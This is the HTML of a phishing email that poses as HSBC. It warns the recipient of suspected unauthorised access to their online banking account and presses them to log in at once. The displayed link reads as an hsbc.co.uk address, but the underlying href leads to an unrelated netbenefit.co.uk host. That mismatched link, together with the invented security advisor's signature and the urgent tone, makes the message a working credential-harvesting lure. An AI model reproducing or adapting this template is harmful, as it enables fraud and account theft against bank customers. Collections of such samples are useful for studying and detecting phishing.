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<DIV> <TABLE style="WIDTH: 441pt" cellSpacing=0 cellPadding=0 width=588 border=0> <TBODY> <TR> <TD style="PADDING-RIGHT: 0in; PADDING-LEFT: 0in; PADDING-BOTTOM: 0in; WIDTH: 412.5pt; PADDING-TOP: 0in" width=550> <div><IMG height=25 src="http://www.hsbc.co.uk/1/themes/html/hsbcukpersonal/logo.gif" width=141></div> <div>Dear Valued HSBC Customer, </div> <div>We recently reviewed your account, and suspect that your HSBC Internet Banking accounts may have been accessed by an unauthorized third party. <BR>Protecting the security of your account and of the HSBC network is our primary concern. </div> <div>We are asking you to immediately login and report any unnoticed password changes, unauthorized withdrawals or deposits, and check your account profile to make sure no changes have been made</div> <div>To protect your account please follow the instructions below: </div> <div style="MARGIN-LEFT: 0.5in; TEXT-INDENT: -0.25in"><SPAN style="FONT-SIZE: 10pt; FONT-FAMILY:
Symbol"><SPAN>·<SPAN> </SPAN></SPAN></SPAN>DO NOT SHARE YOUR PASSWORD WITH OTHER USERS</div> <div style="MARGIN-LEFT: 0.5in; TEXT-INDENT: -0.25in"><SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Symbol"><SPAN>·<SPAN> </SPAN></SPAN></SPAN>LOG OFF AFTER USING YOUR ONLINE ACCOUNT</div>
<div> Please click the following link, to verify your account activity: </div> <div style="MARGIN-BOTTOM: 12pt"><A target="_blank" onfiltered="return top.js.OpenExtLink(window,event,this)" href="http://web17840.vs.netbenefit.co.uk/index.html" >https://www.hsbc.co.uk/1/2/personal/pib-home</A></div> <div style="MARGIN-BOTTOM: 12pt"> We apologize for any inconvenience this may cause, and appreciate your assistance in helping us maintaining the integrity of the entire HSBC Bank Online System.<BR>Please login as soon as possible. <BR><BR>HSBC Bank Online Security Advisor,<BR><I>Joe Darwin</I></div> <div>--------------------------------------------------<BR>This is an automatic message. Please do not
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